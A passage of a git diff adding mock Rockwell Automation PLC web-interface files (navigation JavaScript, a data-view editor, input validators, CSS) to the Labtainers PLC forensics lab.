parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview.html new file mode 100644 index 000000000..1f3a0e9f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview.html @@ -0,0 +1,125 @@ + + +Rockwell Automation + + + + + + + + + +
+ + + + + + + + +
Data ViewsNew Data View
+ + + + + + + +

+ + + + +
+ + + + + + + + + + + + + + + + + +
Slot ?Tag NameData TypeDisplay AsAccess +
+
Add
+ + +


+


+
+ + + +
+ + + + + + + + + +
Create + Data View
Name:
Description:
+
  + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/cancel.bmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/cancel.bmp new file mode 100644 index 000000000..dd9ea6291 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/cancel.bmp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/javaConfirm.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/javaConfirm.js new file mode 100644 index 000000000..d0156a96c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/javaConfirm.js @@ -0,0 +1,123 @@ +function jsConfirm(msg_text) { return confirm(msg_text); } + +function URLvalidate(url) { + var re = /^\/([^\\:\*\?"<>\|\/]{1,80}\/){0,63}([^\\:\*\?"<>\|\/]{1,80})?$/; + if (re.test(url)) { + return true; + } else { + alert("The URL appears invalid. A filename must not contain any of the following characters:\n\\ / : * ? < > |\n\nA valid URL begins with a leading slash (/), must contain fewer than 64 path segments, and each segment must be less than or equal to 80 characters in length."); + return false; + } +} + +function addrValidate(address, addrType) +{ + ipArray = new Array(4); + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(address)) { + var parts = address.split("."); + + if ((parseInt(parseFloat(parts[0])) == 0)&&(addrType != "GW")) { return false; } + + for (var i=0; i 255)||(parts[i] != Math.abs(parts[i]))) { return false; }// no negative numbers + } + + if ((addrType == "IP") || (addrType == "NS")) // ip, gateway, nameserver have first octet restrictions + { + if((parseInt(parseFloat(parts[0])) == 0) || (parseInt(parseFloat(parts[0])) == 127) || (parseInt(parseFloat(parts[0])) > 223)) + { return false; } + } + return true;} + else { + if((addrType == "GW") || (addrType == "NS")) + { + return true; // blank gateway or nameservers is valid. + } + else + { + return false; + } + } + } + +function isValidIP (ipaddr) +{ + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(ipaddr)) { + var ipArray = ipaddr.split("."); + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + } + if (ipArray[0] < 128) { + if (ipArray[0] == 0 || (ipArray[1] == 0 && ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[1] == 255 && ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 127) return false; // network is all ones + } else if (ipArray[0] < 192) { + if ((ipArray[0] = 128 && ipArray[1] == 0) || (ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 191 && ipArray[1] == 255) return false; // network is all ones + } else if (ipArray[0] < 224) { + if ((ipArray[0] == 192 && ipArray[1] == 0 && ipArray[2] == 0) || ipArray[3] == 0) return false; // host or network all zeros + if (ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 223 && ipArray[1] == 255 && ipArray[2] == 255) return false; // network is all ones + } else return false; // Unsupported address class + return true;} + else { + return false; + } +} + +function isValidSubnet (subnetAddr) +{ + var i, subnet = 0; + var mask = 0x00000001, count = 1; + + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(subnetAddr)) { + var ipArray = subnetAddr.split("."); + + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + subnet |= (parseInt(parseFloat(ipArray[i])) << (8 * (3 - i))); + } + + + done = false; + for (i=0; i<4; i++) { + if (ipArray[i] == 255) { + if (done) return false; + } else if ((ipArray[i] == 254) || (ipArray[i] == 252) || (ipArray[i] == 248) || (ipArray[i] == 240) || (ipArray[i] == 224) || (ipArray[i] == 192) || (ipArray[i] == 128)) { + if (!done) done = true; + else return false; + } else if (ipArray[i] == false) { + if (!done) done = true; + } else { + return false; + } + } + + return true;} + else { + return false; + } + +} + +function isValidEmail(emailAddr) +{ + var regexpr = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ + + return regexpr.test(emailAddr); +} + +function isValidHostname(hostname) { + var regexpr = /^[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$/ + + return regexpr.test(hostname); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/save.bmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/save.bmp new file mode 100644 index 000000000..a5a0a2fd4 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/save.bmp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/views.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/views.js new file mode 100644 index 000000000..b9ad46edd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/newview_files/newview_files/views.js @@ -0,0 +1,857 @@ +var Browser = { + IE: !!(window.attachEvent && !window.opera), + Opera: !!window.opera, + WebKit: navigator.userAgent.indexOf('AppleWebKit/') > -1, + Gecko: navigator.userAgent.indexOf('Gecko') > -1 && navigator.userAgent.indexOf('KHTML') == -1, + MobileSafari: !!navigator.userAgent.match(/Apple.*Mobile.*Safari/) +}; + +function XMLDocument() { + if (Browser.IE) + { +// var names = ["Msxml2.DOMDocument.6.0", "Msxml2.DOMDocument.3.0", "MSXML2.DOMDocument", "MSXML.DOMDocument", "Microsoft.XMLDOM"]; + var names = ["MSXML4.DOMDocument", "MSXML3.DOMDocument", "MSXML2.DOMDocument", "MSXML.DOMDocument", "Microsoft.XmlDom"]; + for (var key in names) { + try { + return new ActiveXObject(names[key]) + } catch (e) {} + } + throw new Error('Unable to create XMLDocument'); + } + else + { + if (!(this instanceof XMLDocument)) return new XMLDocument(); + + this.__proto__ = document.implementation.createDocument("", "", null); + + if (!this.xml) + { + this.__defineGetter__("xml", function(){ + return new XMLSerializer().serializeToString(this); + }); + } + + if (!this.setProperty) + { + this.setProperty = function(name, val) { + switch(name) + { + case "SelectionNamespaces": + var re = /xmlns:(.*)=('|")(.*)('|")/; + var res = re.exec(val); + if (null != res) + { + var pre = res[1]; + var uri = res[3]; + if (null == this.namespaces) this.namespaces = new Array(); + if (null == this.makeNSResolver) this.makeNSResolver = function(ns, dnsr) { + return function(prefix) { + return ns[prefix] || dnsr(prefix); + } + }; + this.namespaces[pre] = uri; + } + break; + + case "SelectionLanguage": + if (val != "XPath") throw new Error("Unsupported value \"" + val + "\" for property \"" + name + "\""); + break; + + default: + throw new Error("Unknown property \"" + name + "\" passed to setProperty"); + } + } + } + + if (!this.createNode) + { + this.createNode = function(type, name, ns) { + switch (type) + { + case Node.ELEMENT_NODE: + return this.createElementNS(ns, name); + break; + + case Node.ATTRIBUTE_NODE: + return this.createAttributeNS(ns, name); + break; + + case Node.TEXT_NODE: + case Node.CDATA_SECTION_NODE: + case Node.ENTITY_REFERENCE_NODE: + case Node.ENTITY_NODE: + case Node.PROCESSING_INSTRUCTION_NODE: + case Node.COMMENT_NODE: + case Node.DOCUMENT_NODE: + case Node.DOCUMENT_TYPE_NODE: + case Node.DOCUMENT_FRAGMENT_NODE: + case Node.NOTATION_NODE: + throw new Error("Unimplemented..."); + break; + + default: + throw new Error("Unknown node type!"); + } + }; + } + } +}; + +// Just in case IE doesn't have it... +if (typeof(Node) == "undefined") { Node = new Object(); } + +if (!Node.ELEMENT_NODE) { + // DOM level 2 ECMAScript Language Binding + Node.ELEMENT_NODE = 1; + Node.ATTRIBUTE_NODE = 2; + Node.TEXT_NODE = 3; + Node.CDATA_SECTION_NODE = 4; + Node.ENTITY_REFERENCE_NODE = 5; + Node.ENTITY_NODE = 6; + Node.PROCESSING_INSTRUCTION_NODE = 7; + Node.COMMENT_NODE = 8; + Node.DOCUMENT_NODE = 9; + Node.DOCUMENT_TYPE_NODE = 10; + Node.DOCUMENT_FRAGMENT_NODE = 11; + Node.NOTATION_NODE = 12; +} + +if (!Browser.IE) { + if (!Node.prototype.transformNode) + { + Node.prototype.transformNode = function (oXslDom) { + var oProcessor = new XSLTProcessor(); + oProcessor.importStylesheet(oXslDom); + var oResultDom = oProcessor.transformToDocument(this); + var sResult = new XMLSerializer().serializeToString(oResultDom); + if (sResult.indexOf(" -1) { + sResult = sResult.substring(sResult.indexOf(">") + 1, sResult.lastIndexOf("<")); + } + return sResult; + }; + } + + if (!Node.prototype.selectNodes) + { + Node.prototype.selectNodes = function(path) { + var nsr; + var xr; + if (this.ownerDocument) + { + if (null != this.ownerDocument.makeNSResolver) + nsr = this.ownerDocument.makeNSResolver(this.ownerDocument.namespaces, this.ownerDocument.createNSResolver(this.ownerDocument.documentElement)); + else + nsr = this.ownerDocument.createNSResolver(this.ownerDocument.documentElement); + xr = this.ownerDocument.evaluate(path, this, nsr, XPathResult.ANY_TYPE, null); + } + else + { + if (null != this.makeNSResolver) + nsr = this.makeNSResolver(this.namespaces, this.createNSResolver(this.documentElement)); + else + nsr = this.createNSResolver(this.documentElement); + xr = this.evaluate(path, this, nsr, XPathResult.ANY_TYPE, null); + } + var ret = new Object(); + + var txr = xr.iterateNext(); + var i = 0; + while (txr) + { + ret[i] = txr; + txr = xr.iterateNext(); + i = i + 1; + } + ret.length = i; + ret.item = function(n) { return this[n]; }; + return ret; + }; + } + + Node.prototype.selectSingleNode = function(path) { + var nodes = this.selectNodes(path); + if (nodes.length > 0) + return nodes.item(0); + else + return null; + } +} + +if (!Browser.IE && !Browser.Gecko) +{ + alert("Creating/editing a data view requires Internet Explorer 5.5 or greater with XML support, or Firefox 2 or greater. Please upgrade your browser or load the appropriate patches to support XML."); + history.go(-1); +} + + var newRoot; + var xmlDoc; + var xslDoc; + + var nodes; + var node; + + var rowcolor = "#dedede"; + var PATH_TO_LOCAL_BACKPLANE = "1,"; + + var DATAVIEW_NAMESPACE = ""; + var DATATYPES_NAMESPACE = ""; + var XSI_NAMESPACE = "http://www.w3.org/2001/XMLSchema-instance"; + +function initialize(fname) { + xmlDoc = new XMLDocument(); + xmlDoc.async = false; + xmlDoc.setProperty("SelectionLanguage", "XPath"); + + xslDoc = new XMLDocument(); + xslDoc.async = false; + + /* Turn on the wait cursor */ + document.body.style.cursor = "wait"; + + if (fname == "") { + var pi = xmlDoc.createProcessingInstruction("xml", "version=\"1.0\""); + xmlDoc.appendChild(pi); + + pi = xmlDoc.createProcessingInstruction("xml-stylesheet", "href=\"/dataview/dataview.xsl\" type=\"text/xsl\""); + xmlDoc.appendChild(pi); + + newRoot = xmlDoc.createNode(Node.ELEMENT_NODE, "view", DATAVIEW_NAMESPACE); + + if (Browser.Gecko) + { + // Firefox doesn't properly add the namespace declaration for this prefix, so we'll add it ourselves. + attribute = xmlDoc.createAttribute("xmlns:xsi"); + attribute.value = XSI_NAMESPACE; + newRoot.attributes.setNamedItem(attribute); + } + + attribute = xmlDoc.createNode(Node.ATTRIBUTE_NODE, "xsi:schemaLocation", XSI_NAMESPACE); + attribute.value = DATAVIEW_NAMESPACE + " /schema/dataview.xsd"; + newRoot.attributes.setNamedItem(attribute); + + attribute = xmlDoc.createAttribute("xmlns:cip"); + attribute.value = DATATYPES_NAMESPACE; + newRoot.attributes.setNamedItem(attribute); + + attribute = xmlDoc.createAttribute("name"); + attribute.value = ''; + newRoot.attributes.setNamedItem(attribute); + + attribute = xmlDoc.createAttribute("description"); + attribute.value = ''; + newRoot.attributes.setNamedItem(attribute); + + xmlDoc.appendChild(newRoot); + xmlDoc.setProperty("SelectionNamespaces", "xmlns:dv='" + DATAVIEW_NAMESPACE + "'"); + } else { + try { + xmlDoc.load(fname); + xmlDoc.setProperty("SelectionNamespaces", "xmlns:dv='" + DATAVIEW_NAMESPACE + "'"); + if (!isValidDataView(xmlDoc)) { + alert("The dataview '" + fname + "' is not valid and could not be loaded. Please delete the view and recreate it."); + history.go(-1); + return; + } + newRoot = xmlDoc.documentElement; + description.value = newRoot.attributes.getNamedItem("description").nodeValue; + dataview.value = newRoot.attributes.getNamedItem("name").nodeValue; + form1.xmlname.value = dataview.value; + document.form1.oldname.value = fname.substring(fname.lastIndexOf("/")+1); + document.form1.oldcount.value = xmlDoc.selectNodes("/dv:view/dv:tag").length; + } catch (exc) { + alert("The dataview '" + fname + "' is malformed and could not be loaded. Please delete the view and recreate it."); + history.go(-1); + return; + } + } + + xslDoc.load("/dataview/newview.xsl") + + document.getElementById("island").innerHTML = xmlDoc.documentElement.transformNode(xslDoc) + + document.getElementById("slot").value = ''; + document.getElementById("tagname").value = ''; + document.getElementById("datatype").value = 2; + document.getElementById("displaytype").value = 0; + document.getElementById("readwrite").value = 0; + + /* Restore the default cursor */ + document.body.style.cursor = "default"; +} + +function isValidDataView(xmlDoc) { + /* + * There must be one and only one root "view" node + */ + + var elts_view = xmlDoc.selectNodes("/dv:view"); + if (elts_view.length == 1) { + + /* + * The root "view" node must have a name and description + */ + var elt_view = xmlDoc.selectSingleNode("/dv:view"); + if (elt_view.attributes.getNamedItem("name") && elt_view.attributes.getNamedItem("description")) { + + /* + * Get all the tag elements + */ + var elts_tag = xmlDoc.selectNodes("/dv:view/dv:tag"); + for (i=0; i 0) { + alert("A tag with this slot and name already exists. Please supply a different slot or tag name."); + document.getElementById("slot").focus(); + return; + } + + document.getElementById("addrow").title = "Add this tag"; + document.getElementById("addsave").innerHTML = "Add"; + document.getElementById("canceldiv").innerHTML = ""; + document.getElementById("cancelrow").style.display = "none"; + + newNode = xmlDoc.createNode(Node.ELEMENT_NODE, "tag", DATAVIEW_NAMESPACE); + + newChild = xmlDoc.createAttribute("name") + newChild.value = document.getElementById("tagname").value + document.getElementById("tagname").value = '' + newNode.attributes.setNamedItem(newChild) + + newChild = xmlDoc.createAttribute("valueType") + switch (parseInt(document.getElementById("datatype").value)) { + case 0: + newChild.value = "cip:dt_BOOL" + break; + case 1: + newChild.value = "cip:dt_SINT" + break; + case 2: + newChild.value = "cip:dt_INT" + break; + case 3: + newChild.value = "cip:dt_DINT" + break; + case 4: + newChild.value = "cip:dt_REAL" + break; + case 5: + newChild.value = "cip:dt_STRINGI" + } + document.getElementById("datatype").value = 2 + newNode.attributes.setNamedItem(newChild) + + newChild = xmlDoc.createAttribute("path") + newChild.value = PATH_TO_LOCAL_BACKPLANE + document.getElementById("slot").value + document.getElementById("slot").value = '' + newNode.attributes.setNamedItem(newChild) + + newChild = xmlDoc.createAttribute("display") + switch(parseInt(document.getElementById("displaytype").value)) { + case 0: + newChild.value = "Decimal"; + break; + case 1: + newChild.value = "Hexadecimal"; + break; + case 2: + newChild.value = "Octal"; + break; + case 3: + newChild.value = "Binary"; + break; + case 4: + newChild.value = "String"; + } + document.getElementById("displaytype").value = 0 + document.getElementById("displaytype").disabled = false + newNode.attributes.setNamedItem(newChild) + + newChild = xmlDoc.createAttribute("access") + if (document.getElementById("readwrite").value == 0) { + newChild.value = "admin" + } else if (document.getElementById("readwrite").value == 1) { + newChild.value = "write" + } else { + newChild.value = "read" + } + document.getElementById("readwrite").value = 0 + newNode.attributes.setNamedItem(newChild) + + /* Stick in a nil value node to be a valid document */ + var newValueNode = xmlDoc.createNode(Node.ELEMENT_NODE, "value", DATAVIEW_NAMESPACE); + var newNil = xmlDoc.createNode(Node.ATTRIBUTE_NODE, "xsi:nil", XSI_NAMESPACE); + newNil.value = "true"; + newValueNode.attributes.setNamedItem(newNil); + + newNode.appendChild(xmlDoc.createTextNode("\n\t\t")); + newNode.appendChild(newValueNode); + newNode.appendChild(xmlDoc.createTextNode("\n\t")); + newRoot.appendChild(xmlDoc.createTextNode("\n\t")); + newRoot.appendChild(newNode); + + document.getElementById("island").innerHTML = xmlDoc.documentElement.transformNode(xslDoc) + document.getElementById("slot").focus() +} + +function do_row() { + /* Turn on the wait cursor */ + document.body.style.cursor = "wait"; + setTimeout("do_row2();", 10); +} + +function do_row2() { + if ((document.getElementById("e_slot").value == "" ) && (document.getElementById("e_tag").value == "")) { + add_row(); + } else { + nodes = xmlDoc.selectNodes("/dv:view/dv:tag[@path='" + document.getElementById("e_slot").value + "' and @name='" + document.getElementById("e_tag").value + "']"); + if (nodes.length > 0) { + node = nodes.item(0); + save_row(); + } else { + add_row(); + } + } + /* Restore the cursor cursor */ + document.body.style.cursor = "default"; +} + +function save_row() { + var newChild + + if (document.getElementById("slot").value == "") { + alert("Please supply a controller path!"); + return; + } + + if (document.getElementById("tagname").value == "") { + alert("Please supply a tag name!"); + return; + } + + /* Path validation */ + if (!isValidSlot(document.getElementById("slot").value)) { + alert("The slot is invalid. Please enter a\nnumber between 0 and 16, inclusive"); + document.getElementById("slot").focus(); + return; + } + + /* No BOOL arrays... */ + if ((parseInt(document.getElementById("datatype").value) == 0) && (document.getElementById("tagname").value.indexOf("[") != -1) && (document.getElementById("tagname").value.indexOf("]") != -1) && (document.getElementById("tagname").value.indexOf("[") < document.getElementById("tagname").value.indexOf("]"))) { + alert("Boolean arrays are not supported. Consult the release notes for more information."); + document.getElementById("tagname").focus(); + return; + } + + document.getElementById("slot").value = "" + parseInt(document.getElementById("slot").value); + + if ((PATH_TO_LOCAL_BACKPLANE + document.getElementById("slot").value == document.getElementById("e_slot").value) && (document.getElementById("tagname").value == document.getElementById("e_tag").value)) { + /* The slot and tag name are the same as they were before, so the "limit" of the number of matching + nodes in the document is 1 (the one that previously existed) */ + xpathLimit = 1; + } else { + /* This isn't the same as before, so there should be none that match */ + xpathLimit = 0; + } + + if (xmlDoc.selectNodes("/dv:view/dv:tag[@path='" + PATH_TO_LOCAL_BACKPLANE + document.getElementById("slot").value + "' and @name='" + document.getElementById("tagname").value + "']").length > xpathLimit) { + alert("A tag with this path and name already exists. Please supply a 